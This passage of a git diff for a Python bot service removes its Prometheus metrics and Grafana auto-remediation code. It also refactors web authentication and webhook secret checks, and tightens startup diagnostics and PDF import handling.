metrics in Prometheus exposition format.""" - sections: list[str] = [] - - # -- Process info -- - sections.append(_format_metric( - "odin_up", 1 if self._ready else 0, - help_text="Whether the Odin bot is ready (1=ready, 0=starting)", - )) - sections.append(_format_metric( - "odin_start_time_seconds", self._start_time, - metric_type="gauge", - help_text="Unix timestamp when Odin started", - )) - uptime = time.time() - self._start_time - sections.append(_format_metric( - "odin_uptime_seconds", round(uptime, 1), - metric_type="gauge", - help_text="Seconds since Odin started", - )) - - # -- Component health -- - if self._component_check: - try: - components = self._component_check() - if components: - sections.append("# HELP odin_component_healthy Component health status " - "(1=healthy, 0=unhealthy)") - sections.append("# TYPE odin_component_healthy gauge") - for name, info in sorted(components.items()): - healthy = 1 if info.get("healthy") else 0 - sections.append( - _format_metric( - "odin_component_healthy", healthy, - labels={"component": name}, - include_header=False, - ) - ) - except Exception: - pass - - # -- Local command workspace (no auto-prune, so growth is observable) -- - ws_source = self._sources.get("workspace") - if ws_source: - try: - ws = ws_source() or {} - if ws: - gauges = { - "bytes": ( - "odin_workspace_bytes", - "Bytes stored in the local command workspace", - ), - "files": ( - "odin_workspace_files", - "Files in the local command workspace", - ), - "free_bytes": ( - "odin_workspace_free_bytes", - "Free bytes on the workspace filesystem", - ), - "free_inodes": ( - "odin_workspace_free_inodes", - "Free inodes on the workspace filesystem", - ), - } - for key, (name, helptext) in gauges.items(): - if key in ws: - sections.append(f"# HELP {name} {helptext}") - sections.append(f"# TYPE {name} gauge") - sections.append(_format_metric(name, ws[key], include_header=False)) - except Exception: - pass - - # -- Tool execution metrics -- - tool_source = self._sources.get("tools") - if tool_source: - try: - tool_metrics = tool_source() - if tool_metrics: - sections.append("# HELP odin_tool_calls_total Total tool invocations") - sections.append("# TYPE odin_tool_calls_total counter") - for tool_name, counts in sorted(tool_metrics.items()): - calls = counts.get("calls", 0) - sections.append(_format_metric( - "odin_tool_calls_total", calls, - labels={"tool": tool_name}, - include_header=False, - )) - sections.append("# HELP odin_tool_errors_total Total tool errors") - sections.append("# TYPE odin_tool_errors_total counter") - for tool_name, counts in sorted(tool_metrics.items()): - errors = counts.get("errors", 0) - sections.append(_format_metric( - "odin_tool_errors_total", errors, - labels={"tool": tool_name}, - include_header=False, - )) - sections.append("# HELP odin_tool_timeouts_total Total tool timeouts") - sections.append("# TYPE odin_tool_timeouts_total counter") - for tool_name, counts in sorted(tool_metrics.items()): - timeouts = counts.get("timeouts", 0) - sections.append(_format_metric( - "odin_tool_timeouts_total", timeouts, - labels={"tool": tool_name}, - include_header=False, - )) - except Exception: - pass - - # -- Circuit breaker -- - cb_source = self._sources.get("circuit_breaker") - if cb_source: - try: - cb = cb_source() - state_map = {"closed": 0, "half_open": 1, "open": 2} - state_val = state_map.get(cb.state, -1) - sections.append(_format_metric( - "odin_circuit_breaker_state", - state_val, - help_text="Circuit breaker state (0=closed, 1=half_open, 2=open)", - )) - sections.append(_format_metric( - "odin_circuit_breaker_failures", - cb._failure_count, - metric_type="gauge", - help_text="Current consecutive failure count", - )) - except Exception: - pass - - # -- Sessions -- - session_source = self._sources.get("sessions") - if session_source: - try: - count = session_source() - sections.append(_format_metric( - "odin_active_sessions", count, - help_text="Number of active web sessions", - )) - except Exception: - pass - - # -- Scheduler -- - sched_source = self._sources.get("scheduler") - if sched_source: - try: - count = sched_source() - sections.append(_format_metric( - "odin_schedules_total", count, - help_text="Number of configured schedules", - )) - except Exception: - pass - - # -- Autonomous loops -- - loop_source = self._sources.get("loops") - if loop_source: - try: - count = loop_source() - sections.append(_format_metric( - "odin_active_loops", count, - help_text="Number of running autonomous loops", - )) - except Exception: - pass - - # -- LLM cost tracking -- - cost_source = self._sources.get("cost_tracker") - if cost_source: - try: - cost_data = cost_source() - if cost_data: - sections.append(_format_metric( - "odin_llm_input_tokens_total", - cost_data.get("total_input_tokens", 0), - metric_type="counter", - help_text="Total estimated LLM input tokens", - )) - sections.append(_format_metric( - "odin_llm_output_tokens_total", - cost_data.get("total_output_tokens", 0), - metric_type="counter", - help_text="Total estimated LLM output tokens", - )) - sections.append(_format_metric( - "odin_llm_cost_usd_total", - cost_data.get("total_cost_usd", 0), - metric_type="counter", - help_text="Total estimated LLM cost in USD", - )) - sections.append(_format_metric( - "odin_llm_requests_total", - cost_data.get("total_requests", 0), - metric_type="counter", - help_text="Total LLM API requests", - )) - by_user = cost_data.get("by_user", {}) - if by_user: - sections.append("# HELP odin_llm_user_cost_usd LLM cost in USD by user") - sections.append("# TYPE odin_llm_user_cost_usd counter") - for uid, info in sorted(by_user.items()): - sections.append(_format_metric( - "odin_llm_user_cost_usd", info.get("cost_usd", 0), - labels={"user": uid}, - include_header=False, - )) - by_channel = cost_data.get("by_channel", {}) - if by_channel: - sections.append("# HELP odin_llm_channel_cost_usd LLM cost in USD by " - "channel") - sections.append("# TYPE odin_llm_channel_cost_usd counter") - for cid, info in sorted(by_channel.items()): - sections.append(_format_metric( - "odin_llm_channel_cost_usd", info.get("cost_usd", 0), - labels={"channel": cid}, - include_header=False, - )) - except Exception: - pass - - # -- Session token budget -- - session_tokens_source = self._sources.get("session_tokens") - if session_tokens_source: - try: - token_data = session_tokens_source() - if token_data: - sections.append(_format_metric( - "odin_session_tokens_total", - token_data.get("total_tokens", 0), - help_text="Total estimated tokens across all active sessions", - )) - sections.append(_format_metric( - "odin_session_token_budget", - token_data.get("token_budget", 0), - help_text="Configured per-session token budget", - )) - sections.append(_format_metric( - "odin_sessions_over_budget", - token_data.get("over_budget_count", 0), - help_text="Number of sessions exceeding token budget", - )) - per_session = token_data.get("per_session", {}) - if per_session: - sections.append("# HELP odin_session_tokens Estimated tokens per session") - sections.append("# TYPE odin_session_tokens gauge") - for cid, tokens in sorted(per_session.items()): - sections.append(_format_metric( - "odin_session_tokens", tokens, - labels={"channel": cid}, - include_header=False, - )) - except Exception: - pass - - # -- Trajectories -- - trajectory_source = self._sources.get("trajectories") - if trajectory_source: - try: - traj_data = trajectory_source() - if traj_data: - sections.append(_format_metric( - "odin_trajectories_saved_total", - traj_data.get("trajectories_saved_total", 0), - help_text="Total trajectory turns saved to disk", - )) - except Exception: - pass - - # -- Bulkheads -- - bulkhead_source = self._sources.get("bulkheads") - if bulkhead_source: - try: - bh_data = bulkhead_source() - if bh_data: - bh_count = bh_data.get("bulkhead_count", 0) - sections.append(_format_metric( - "odin_bulkhead_count", bh_count, - help_text="Number of registered bulkheads", - )) - active_keys = sorted( - k for k in bh_data if k.endswith("_active") - ) - if active_keys: - sections.append( - "# HELP odin_bulkhead_active Current active operations per bulkhead" - ) - sections.append("# TYPE odin_bulkhead_active gauge") - for key in active_keys: - name = key.replace("bulkhead_", "").replace("_active", "") - sections.append(_format_metric( - "odin_bulkhead_active", bh_data[key], - labels={"bulkhead": name}, - include_header=False, - )) - rejected_keys = sorted( - k for k in bh_data if k.endswith("_rejected") - ) - if rejected_keys: - sections.append( - "# HELP odin_bulkhead_rejected_total Rejected requests per bulkhead" - ) - sections.append("# TYPE odin_bulkhead_rejected_total counter") - for key in rejected_keys: - name = key.replace("bulkhead_", "").replace("_rejected", "") - sections.append(_format_metric( - "odin_bulkhead_rejected_total", bh_data[key], - labels={"bulkhead": name}, - include_header=False, - )) - total_keys = sorted( - k for k in bh_data if k.endswith("_total") - ) - if total_keys: - sections.append( - "# HELP odin_bulkhead_operations_total Total operations per bulkhead" - ) - sections.append("# TYPE odin_bulkhead_operations_total counter") - for key in total_keys: - name = key.replace("bulkhead_", "").replace("_total", "") - sections.append(_format_metric( - "odin_bulkhead_operations_total", bh_data[key], - labels={"bulkhead": name}, - include_header=False, - )) - except Exception: - pass - - # -- SSH Connection Pool -- - ssh_pool_source = self._sources.get("ssh_pool") - if ssh_pool_source: - try: - pool_data = ssh_pool_source() - if pool_data: - sections.append(_format_metric( - "odin_ssh_pool_active_connections", - pool_data.get("ssh_pool_active_connections", 0), - help_text="Active SSH ControlMaster connections", - )) - sections.append(_format_metric( - "odin_ssh_pool_total_opened", - pool_data.get("ssh_pool_total_opened", 0), - help_text="Total SSH connections opened", - metric_type="counter", - )) - sections.append(_format_metric( - "odin_ssh_pool_total_reused", - pool_data.get("ssh_pool_total_reused", 0), - help_text="Total SSH connections reused via multiplexing", - metric_type="counter", - )) - except Exception: - pass - - # -- HTTP Connection Pool -- - http_pool_source = self._sources.get("http_pool") - if http_pool_source: - try: - pool_data = http_pool_source() - if pool_data: - sections.append(_format_metric( - "odin_http_pool_active_connections", - pool_data.get("http_pool_active_connections", 0), - help_text="Active HTTP keepalive connections", - )) - sections.append(_format_metric( - "odin_http_pool_max_connections", - pool_data.get("http_pool_max_connections", 0), - help_text="HTTP connection pool max size", - )) - sections.append(_format_metric( - "odin_http_pool_total_requests", - pool_data.get("http_pool_total_requests", 0), - help_text="Total HTTP requests made via pool", - metric_type="counter", - )) - except Exception: - pass - - return "\n".join(sections) + "\n" diff --git a/src/health/server.py b/src/health/server.py index 328dc2c11..2e518f86e 100644 --- a/src/health/server.py +++ b/src/health/server.py @@ -15,19 +15,10 @@ from aiohttp import web -from ..config.schema import GrafanaAlertConfig, WebConfig, WebhookConfig +from ..config.schema import WebConfig, WebhookConfig from ..odin_log import get_logger from ..version import get_version from ..web.api_common import contains_redaction_mask -from .grafana_alerts import ( - REMEDIATION_CLEANUP_INTERVAL_SECONDS, - GrafanaAlertHandler, - RemediationRule, - build_remediation_prompt, - format_alert_message, - parse_grafana_payload, -) -from .metrics import MetricsCollector if TYPE_CHECKING: from aiohttp.typedefs import Middleware @@ -56,7 +47,7 @@ def getsockname(self) -> tuple[object, ...]: ... # PUBLIC_PREFIXES: any path starting with these skips auth entirely. # PUBLIC_EXACT: specific /api/ paths that skip auth (e.g. login). # Everything else under /api/ requires a valid Bearer token or session. -AUTH_PUBLIC_PREFIXES = ("/health", "/metrics", "/webhook/", "/ui") +AUTH_PUBLIC_PREFIXES = ("/health", "/webhook/", "/ui") AUTH_PUBLIC_EXACT = frozenset({"/api/auth/login"}) _AUTH_SKIP_PREFIXES = AUTH_PUBLIC_PREFIXES @@ -88,7 +79,6 @@ def getsockname(self) -> tuple[object, ...]: ... "/api/tools/builtins", "/api/pools", "/api/outbound-webhooks", - "/api/grafana-alerts", "/api/context", "/api/restart", "/api/turn-state", @@ -295,6 +285,7 @@ def contains(self, sid: str) -> bool: @property def active_count(self) -> int: + self.cleanup() return len(self._sessions) @property @@ -453,7 +444,6 @@ async def auth_middleware( return await handler(request) current_web_config = web_config() if callable(web_config) else web_config - configured_token = getattr(current_web_config, "api_token", "") or "" dynamic_recovery = bool( token_snapshot and getattr(token_snapshot, "credential_store_auth_required", False) is True @@ -463,8 +453,6 @@ async def auth_middleware( ) has_any_token = bool(has_any_token or dynamic_recovery) request._auth_required = has_any_token - if not has_any_token: - return await handler(request) bearer_value = "" auth_header = request.headers.get("Authorization", "") @@ -483,92 +471,33 @@ async def auth_middleware( query_tokens = request.query.getall("token", []) bearer_value = query_tokens[0] if query_tokens else "" + if not has_any_token: + if bearer_value and session_manager.contains(bearer_value): + if session_manager.get_identity(bearer_value) is not None: + session_manager.destroy(bearer_value) + return web.json_response({"error": "unauthorized"}, status=401) + return await handler(request) + if bearer_value: - if _usable_web_credential(configured_token) and hmac.compare_digest( - bearer_value, configured_token - ): - from ..config.schema import ApiTokenIdentity - - request._session_id = "api-admin" - request._api_identity = ApiTokenIdentity( - token="", - user_id="api-admin", - username="Admin", - tier="admin", - label="default", - ) - return await handler(request) + from ..web.authentication import current_session_identity, resolve_credential - identity = ( - None - if dynamic_recovery - else (token_snapshot.resolve(bearer_value) if token_snapshot else None) - ) + identity, source = resolve_credential(current_web_config, token_snapshot, bearer_value) if identity is not None: request._session_id = identity.user_id request._api_identity = identity + request._auth_source = source return await handler(request) - if hasattr(current_web_config, "resolve_api_identity"): - static_identity = current_web_config.resolve_api_identity(bearer_value) - if static_identity is not None: - request._session_id = static_identity.user_id - request._api_identity = static_identity - return await handler(request) - if session_manager.validate(bearer_value): - source = session_manager.get_auth_source(bearer_value) - if dynamic_recovery and source not in {"static", "legacy"}: - raise web.HTTPForbidden(text="API credential store requires recovery") - request._session_id = bearer_value - request._session_managed = True - session_identity = session_manager.get_identity(bearer_value) - if session_identity is not None: - user_id = getattr(session_identity, "user_id", None) - current = None - if source == "legacy" and _usable_web_credential(configured_token): - session_token = getattr(session_identity, "token", "") - if session_token and hmac.compare_digest(session_token, configured_token): - current = session_identity - elif source == "static": - session_token = getattr(session_identity, "token", "") - current = next( - ( - entry - for entry in getattr(current_web_config, "api_tokens", ()) - if entry.user_id == user_id - and session_token - and hmac.compare_digest(entry.token, session_token) - ), - None, - ) - elif source == "dynamic" and not dynamic_recovery: - current = ( - token_snapshot.get(user_id) if token_snapshot and user_id else None - ) - elif source is None and not dynamic_recovery: - # Compatibility for sessions created before provenance - # tracking; never use this path during store recovery. - current = ( - token_snapshot.get(user_id) if token_snapshot and user_id else None - ) - if current is None: - current = next( - ( - entry - for entry in getattr(current_web_config, "api_tokens", ()) - if entry.user_id == user_id - ), - None, - ) - if dynamic_recovery and current is None: - raise web.HTTPForbidden(text="API credential store requires recovery") - if current is not None: - session_identity = current - request._api_identity = session_identity - elif dynamic_recovery: - raise web.HTTPForbidden(text="API credential store requires recovery") - return await handler(request) + current = current_session_identity( + session_manager, bearer_value, current_web_config, token_snapshot + ) + if current is not None: + request._session_id = bearer_value + request._session_managed = True + request._api_identity = current + request._auth_source = session_manager.get_auth_source(bearer_value) + return await handler(request) if dynamic_recovery: raise web.HTTPForbidden(text="API credential store requires recovery") @@ -706,6 +635,13 @@ async def rate_limit_middleware( def _make_security_headers_middleware() -> Middleware: """Add security headers (CSP, X-Frame-Options, etc.) to all responses.""" + def add_headers(response: web.StreamResponse) -> None: + response.headers["X-Content-Type-Options"] = "nosniff" + response.headers["X-Frame-Options"] = "DENY" + response.headers["Content-Security-Policy"] = _CSP_POLICY + response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin" + response.headers["Permissions-Policy"] = "camera=(), microphone=(), geolocation=()" + @web.middleware async def security_headers_middleware( request: web.Request, @@ -713,13 +649,12 @@ async def security_headers_middleware( ) -> web.StreamResponse: try: response = await handler(request) + except web.HTTPException as exc: + add_headers(exc) + raise except json.JSONDecodeError: - return web.json_response({"error": "invalid JSON body"}, status=400) - response.headers["X-Content-Type-Options"] = "nosniff" - response.headers["X-Frame-Options"] = "DENY" - response.headers["Content-Security-Policy"] = _CSP_POLICY - response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin" - response.headers["Permissions-Policy"] = "camera=(), microphone=(), geolocation=()" + response = web.json_response({"error": "invalid JSON body"}, status=400) + add_headers(response) return response return security_headers_middleware @@ -836,64 +771,25 @@ def __init__( port: int = 3000, webhook_config: WebhookConfig | None = None, web_config: WebConfig | None = None, - grafana_alert_config: GrafanaAlertConfig | None = None, initialization_store=None, ) -> None: self.port = port self._ready = False self._webhook_config = webhook_config or WebhookConfig() self._web_config = web_config or WebConfig() - self._grafana_alert_config = grafana_alert_config or GrafanaAlertConfig() self._send_message: SendMessageCallback | None = None self._trigger_callback: TriggerCallback | None = None - self._loop_spawn_callback: Callable | None = None self._start_time = time.monotonic() self._components: dict[str, ComponentCheck] = {} self._initialization_store = initialization_store self._config_owner: OdinBot | None = None self._effective_bind_host: str | None = None self._listener_sockets: tuple[ListenerSocket, ...] = () - # Owned lifecycle task that prunes stale Grafana remediation records - # and cooldown keys. L6: cleanup_old_remediations() had no production - # caller, so both maps grew without bound on a long-lived install with - # auto-remediate enabled. - self._grafana_cleanup_task: asyncio.Task[None] | None = None - - # Grafana alert handler - rules: list[RemediationRule] = [] - for rc in self._grafana_alert_config.rules: - rules.append( - RemediationRule( - id=rc.id or f"rule_{len(rules)}", - name_pattern=rc.name_pattern, - label_matchers=rc.label_matchers, - severity_filter=rc.severity_filter, - remediation_goal=rc.remediation_goal, - mode=rc.mode, - interval_seconds=rc.interval_seconds, - max_iterations=rc.max_iterations, - cooldown_seconds=rc.cooldown_seconds, - ) - ) - self._grafana_handler = GrafanaAlertHandler( - rules=rules, - auto_remediate=self._grafana_alert_config.auto_remediate, - cooldown_seconds=self._grafana_alert_config.cooldown_seconds, - max_concurrent=self._grafana_alert_config.max_concurrent_remediations, - ) - # Session management self._session_manager = SessionManager( timeout_minutes=self._web_config.session_timeout_minutes, ) - # Prometheus metrics collector - self._metrics_collector = MetricsCollector() - self._metrics_collector.register_source( - "sessions", - lambda: self._session_manager.active_count, - ) - middlewares = [] if self._web_config.enabled: middlewares.append(_make_bootstrap_gate_middleware()) @@ -915,10 +811,8 @@ def __init__( self._app.router.add_get("/health", self._health) self._app.router.add_get("/health/live", self._health_live) self._app.router.add_get("/health/ready", self._health_ready) - self._app.router.add_get("/metrics", self._metrics) if self._webhook_config.enabled: self._app.router.add_post("/webhook/gitea", self._webhook_gitea) - self._app.router.add_post("/webhook/grafana", self._webhook_grafana) self._app.router.add_post("/webhook/generic", self._webhook_generic) self._app.router.add_post("/webhook/github", self._webhook_github) self._app.router.add_post("/webhook/gitlab", self._webhook_gitlab) @@ -926,27 +820,31 @@ def __init__( # Serve static UI files if the directory exists if self._web_config.enabled: ui_root = Path(__file__).resolve().parent.parent.parent / "ui" - # Production serves the committed Vite build; the source tree is - # the fallback so dev boxes work before their first build. + # Raw Vite sources contain bare imports and cannot run in browsers. dist_dir = ui_root / "dist" - ui_dir = dist_dir if (dist_dir / "index.html").is_file() else ui_root - if ui_dir.is_dir(): + ui_dir = dist_dir + if (ui_dir / "index.html").is_file(): self._app.router.add_get("/", self._redirect_to_ui) self._ui_dir = ui_dir # Serve static files with a fallback to index.html for SPA routing self._app.router.add_get("/ui/{path:.*}", self._serve_ui_file) self._app.router.add_get("/ui", self._redirect_to_ui) log.info("Serving web UI from %s", ui_dir) + else: + self._app.router.add_get("/", self._ui_build_unavailable) + self._app.router.add_get("/ui", self._ui_build_unavailable) + self._app.router.add_get("/ui/{path:.*}", self._ui_build_unavailable) self._runner: web.AppRunner | None = None - @property - def metrics(self) -> MetricsCollector: - """Access the Prometheus metrics collector for registering sources.""" - return self._metrics_collector + async def _ui_build_unavailable(self, _request: web.Request) -> web.Response: + return web.Response(status=503, text=( + "WebUI build unavailable. Build the frontend with npm ci and npm run build " + "from the checkout, or use the packaged release assets. " + "For development, use the Vite development server." + )) def set_ready(self, ready: bool = True) -> None: self._ready = ready - self._metrics_collector.set_ready(ready) def register_component(self, name: str, check: ComponentCheck) -> None: """Register a named component health check. @@ -958,12 +856,6 @@ def register_component(self, name: str, check: ComponentCheck) -> None: health request. """ self._components[name] = check - # Keep metrics collector aware of component checks - self._metrics_collector.set_component_check(self._check_components) - - @property - def grafana_handler(self) -> GrafanaAlertHandler: - return self._grafana_handler def set_send_message(self, callback: SendMessageCallback) -> None: self._send_message = callback @@ -972,22 +864,10 @@ def set_trigger_callback(self, callback: TriggerCallback) -> None: """Set callback for webhook-triggered scheduler actions.""" self._trigger_callback = callback - def set_loop_spawn_callback(self, callback: Callable) -> None: - """Set callback for spawning remediation loops from alerts. - - Callback signature: (goal, channel_id, mode, interval, max_iter) -> loop_id - """ - self._loop_spawn_callback = callback - def set_bot(self, bot: OdinBot) -> None: """Wire the bot instance to enable the REST API and WebSocket endpoints.""" - # Backlink first, and before the enabled check: the bot-facing admin - # routes reach the Grafana handler through - # ``bot.health_server``, and nothing ever assigned it — so - # /api/grafana-alerts/status reported - # ``enabled: false`` on a working install while every mutating route - # 503'd. Doing it here rather than at the __main__ call site covers - # every construction path, including tests and future entry points. + # Backlink before the enabled check so all construction paths expose + # component health and listener policy to the bot. bot.health_server = self self._config_owner = bot # The startup coordinator owns the persisted initialization store used @@ -1148,7 +1028,6 @@ async def start(self) -> None: if isinstance(listener_socket, ListenerSocket) ) log.info("Health server listening on %s:%d", bind_host, self.port) - self._start_grafana_cleanup() except BaseException: runner, self._runner = self._runner, None self._effective_bind_host = None @@ -1157,31 +1036,6 @@ async def start(self) -> None: await runner.cleanup() raise - def _start_grafana_cleanup(self) -> None: - """Own the periodic stale-record sweep for the Grafana handler. - - Idempotent so a repeated ``start()`` cannot leak a second sweep loop. - """ - if self._grafana_cleanup_task is not None and not self._grafana_cleanup_task.done(): - return - self._grafana_cleanup_task = asyncio.create_task(self._grafana_cleanup_loop()) - - async def _grafana_cleanup_loop(self) -> None: - """Prune stale remediation records and cooldown keys until shutdown. - - Bounded and fail-open: a sweep fault is logged and the loop continues, - because cleanup is a resource bound, not a health-critical path. - Cancellation (a normal shutdown) propagates for ``stop()`` to await. - """ - while True: - await asyncio.sleep(REMEDIATION_CLEANUP_INTERVAL_SECONDS) - try: - removed = self._grafana_handler.cleanup_old_remediations() - if removed: - log.info("Pruned %d stale Grafana remediation record(s)", removed) - except Exception: - log.exception("Grafana remediation cleanup failed") - def may_remove_credential_inventory(self, candidate) -> bool: """Live-socket candidate guard for all credential mutation paths.""" from ..web.bootstrap_policy import may_remove_last_credential, numeric_loopback @@ -1232,16 +1086,6 @@ def validate_web_credential_transition(self, candidate_web) -> None: ) async def stop(self) -> None: - # Retire the owned cleanup sweep first: it is the only task this object - # spawns, and leaving it running past cleanup would let it touch the - # handler after the listener is gone. - task, self._grafana_cleanup_task = self._grafana_cleanup_task, None - if task is not None and not task.done(): - task.cancel() - try: - await task - except asyncio.CancelledError: - pass # Quiesce the HTTP server first. A cleanup failure must not leave # the runner (and its open handlers) alive past the stop window. if self._runner: @@ -1347,19 +1191,6 @@ async def _health_ready(self, _request: web.Request) -> web.Response: status=status_code, ) - async def _metrics(self, _request: web.Request) -> web.Response: - """Prometheus metrics endpoint. - - Returns metrics in Prometheus exposition format (text/plain). - Unauthenticated — intended for Prometheus scraper access. - """ - body = self._metrics_collector.render() - return web.Response( - text=body, - content_type="text/plain", - charset="utf-8", - ) - def _check_components(self) -> dict[str, dict]: """Run all registered component checks and return a summary dict.""" results: dict[str, dict] = {} @@ -1382,31 +1213,27 @@ def _verify_hmac_sha256(self, body: bytes, signature: str) -> bool: log.warning("Webhook rejected: no secret configured for HMAC verification") return False expected = hmac.new(secret.encode(), body, hashlib.sha256).hexdigest() - return hmac.compare_digest(expected, signature) + from ..web.authentication import credential_equals + return credential_equals(expected, signature) def _verify_shared_secret(self, header_value: str) -> bool: - """Verify a shared-secret header (e.g. Grafana X-Webhook-Secret, - GitLab X-Gitlab-Token) against the configured webhook secret. + """Verify a shared-secret header against the configured webhook secret. **Fails closed**: returns False if no secret is configured so webhooks don't accept unauthenticated POSTs when the operator - hasn't set one up. Odin's PR #18 self-audit finding #1: the - Grafana and generic webhook handlers previously gated auth on - ``if self._webhook_config.secret:``, silently accepting - everything when the secret was empty. + hasn't set one up. """ secret = self._webhook_config.secret if not secret: log.warning("Webhook rejected: no secret configured for shared-secret verification") return False - return hmac.compare_digest(header_value, secret) + from ..web.authentication import credential_equals + return credential_equals(header_value, secret) def _get_channel_id(self, source: str) -> str | None: """Get the channel ID for a webhook source.""" if source == "gitea" and self._webhook_config.gitea_channel_id: return self._webhook_config.gitea_channel_id - if source == "grafana" and self._webhook_config.grafana_channel_id: - return self._webhook_config.grafana_channel_id if source == "github" and self._webhook_config.github_channel_id: return self._webhook_config.github_channel_id if source == "gitlab" and self._webhook_config.gitlab_channel_id: @@ -1489,85 +1316,10 @@ async def _webhook_gitea(self, request: web.Request) -> web.Response: await self._notify_triggers("gitea", {"event": event, "repo": repo}) return await self._send("gitea", text) - async def _webhook_grafana(self, request: web.Request) -> web.Response: - body = await request.read() - - # Authenticate via shared secret header (configure in Grafana contact - # point). Fails closed — if no secret is configured server-side the - # request is rejected rather than accepted unauthenticated. - secret_header = request.headers.get("X-Webhook-Secret", "") - if not self._verify_shared_secret(secret_header): - return web.json_response({"error": "invalid secret"}, status=403) - - try: - data = json.loads(body) - except json.JSONDecodeError: - return web.json_response({"error": "invalid JSON"}, status=400) - - # Parse alerts using structured parser - parsed_alerts = parse_grafana_payload(data) - text = format_alert_message(parsed_alerts) - - # Process alerts through remediation handler - matches = self._grafana_handler.process_alerts(parsed_alerts) - - # Spawn remediation loops for matched alerts - spawned_loops: list[str] = [] - if matches and self._loop_spawn_callback: - channel_id = self._get_channel_id("grafana") - for alert, rule in matches: - try: - goal = build_remediation_prompt(alert, rule) - loop_id = await self._loop_spawn_callback( - goal, - channel_id, - rule.mode, - rule.interval_seconds, - rule.max_iterations, - ) - if loop_id and not loop_id.startswith("Error"): - self._grafana_handler.record_remediation(alert, rule, loop_id) - spawned_loops.append(loop_id) - except Exception as exc: - log.warning( - "Failed to spawn remediation for %s: %s", - alert.alert_name, - exc, - ) - - if spawned_loops: - text += ( - "\n\n\U0001f527 Auto-remediation started: " - f"{', '.join(f'`{lid}`' for lid in spawned_loops)}" - ) - - # Build event data for trigger matching - alert_name = "" - if parsed_alerts: - alert_name = parsed_alerts[0].alert_name - else: - alert_name = data.get("ruleName", data.get("title", "")) - - event_data: dict = { - "event": "alert", - "alert_name": alert_name, - "alert_names": [a.alert_name for a in parsed_alerts] or [alert_name], - "alert_count": len(parsed_alerts), - "firing_count": sum(1 for a in parsed_alerts if a.status == "firing"), - "resolved_count": sum(1 for a in parsed_alerts if a.status == "resolved"), - } - if parsed_alerts: - first = parsed_alerts[0] - event_data["severity"] = first.severity - event_data["instance"] = first.instance - - await self._notify_triggers("grafana", event_data) - return await self._send("grafana", text) - async def _webhook_generic(self, request: web.Request) -> web.Response: body = await request.read() secret_header = request.headers.get("X-Webhook-Secret", "") - # Fails closed — same hardening as grafana (PR #18 finding #1). + # Reject unauthenticated requests even when no secret is configured. if not self._verify_shared_secret(secret_header): return web.json_response({"error": "invalid secret"}, status=403) @@ -1669,7 +1421,8 @@ async def _webhook_gitlab(self, request: web.Request) -> web.Response: if not secret: log.warning("Webhook rejected: no secret configured for GitLab verification") return web.json_response({"error": "invalid token"}, status=403) - if not hmac.compare_digest(token, secret): + from ..web.authentication import credential_equals + if not credential_equals(token, secret): return web.json_response({"error": "invalid token"}, status=403) try: diff --git a/src/health/startup.py b/src/health/startup.py index c584d367d..796d362cc 100644 --- a/src/health/startup.py +++ b/src/health/startup.py @@ -458,10 +458,15 @@ def check_knowledge_db(search_config: Any) -> DiagnosticResult: # Check SQLite can open a connection at this path test_db = parent / "knowledge.db" if parent.is_dir() else parent + conn = None try: conn = sqlite3.connect(str(test_db)) - conn.execute("SELECT 1") - conn.close() + # A constant SELECT never reads the database header/schema and can + # succeed even on arbitrary bytes. quick_check validates existing + # storage while an empty first-run database remains valid. + check = conn.execute("PRAGMA quick_check").fetchall() + if check != [("ok",)]: + raise sqlite3.DatabaseError("knowledge database integrity check failed") except sqlite3.Error as exc: return DiagnosticResult( name="knowledge_db", @@ -470,6 +475,9 @@ def check_knowledge_db(search_config: Any) -> DiagnosticResult: recommendation="Check disk space and file permissions.", metadata={"path": str(test_db)}, ) + finally: + if conn is not None: + conn.close() return DiagnosticResult( name="knowledge_db", @@ -479,7 +487,7 @@ def check_knowledge_db(search_config: Any) -> DiagnosticResult: ) -def check_config_sections(config: Any) -> DiagnosticResult: +def check_config_sections(config: Any, *, credential_inventory: Any = None) -> DiagnosticResult: """Validate that key config sections are internally consistent.""" issues: list[str] = [] @@ -490,12 +498,19 @@ def check_config_sections(config: Any) -> DiagnosticResult: elif not getattr(discord_cfg, "token", ""): issues.append("discord.token is empty") - # Web config: warn about default/empty api_token + # Count static identities and the already validated runtime inventory, + # without inspecting secret stores a second time in the diagnostics. web_cfg = getattr(config, "web", None) if web_cfg and getattr(web_cfg, "enabled", False): api_token = getattr(web_cfg, "api_token", "") - if not api_token: - issues.append("web.api_token is empty — API has no authentication (dev mode)") + has_static = bool(api_token) or any( + bool(getattr(identity, "token", "")) + for identity in getattr(web_cfg, "api_tokens", ()) + ) + has_dynamic = credential_inventory is not None and credential_inventory.has_usable_auth + if not has_static and not has_dynamic: + issues.append("No usable web.api_token, web.api_tokens or dynamic API credentials — " + "API has no configured authentication (dev mode)") # Webhook: if enabled, verify secret is set webhook_cfg = getattr(config, "webhook", None) @@ -705,6 +720,7 @@ def run_startup_diagnostics( *, odin_config: Any | None = None, yaml_config: Any | None = None, + credential_inventory: Any = None, ) -> StartupReport: """Run all boot-time diagnostic checks and return a :class:`StartupReport`. @@ -743,7 +759,12 @@ def run_startup_diagnostics( detail="YAML config not provided — skipped", )) continue - result = check_fn(yaml_config) + if name == "config_consistency": + result = check_config_sections( + yaml_config, credential_inventory=credential_inventory, + ) + else: + result = check_fn(yaml_config) else: if yaml_config is None: report.results.append(DiagnosticResult( diff --git a/src/knowledge/importer.py b/src/knowledge/importer.py index ebb1979d2..f1f6706fb 100644 --- a/src/knowledge/importer.py +++ b/src/knowledge/importer.py @@ -413,7 +413,10 @@ async def import_pdf_url( except ImportError: return ImportResult(source=url, status="error", error="PyMuPDF (fitz) not installed") - src = source or url.rsplit("/", 1)[-1] or url + # Preserve host/path/query identity rather than replacing unrelated + # documents sharing a basename. Legacy imports did not record their URL: + # compatibility must not infer ownership from the basename alone. + src = source or url.split("#", 1)[0] from ..tools.safe_fetch import BlockedAddressError, ResponseTooLargeError, safe_fetch try: resp = await safe_fetch(url, max_bytes=MAX_PDF_BYTES, timeout=15.0) @@ -448,6 +451,10 @@ async def import_pdf_url( if not content.strip(): return ImportResult(source=src, status="skipped", error="PDF contains no text") content = self._limit_import_content(content, PDF_MAX_CHARS) + if not source: + legacy_result = await self._existing_legacy_pdf(url, src, content) + if legacy_result is not None: + return legacy_result return self._classify_ingest( src, await self._store.ingest( @@ -457,6 +464,47 @@ async def import_pdf_url( finally: doc.close() + async def _existing_legacy_pdf( + self, url: str, canonical_source: str, content: str, + ) -> ImportResult | None: + """Reuse unchanged legacy text without guessing its originating URL. + + Historical PDF 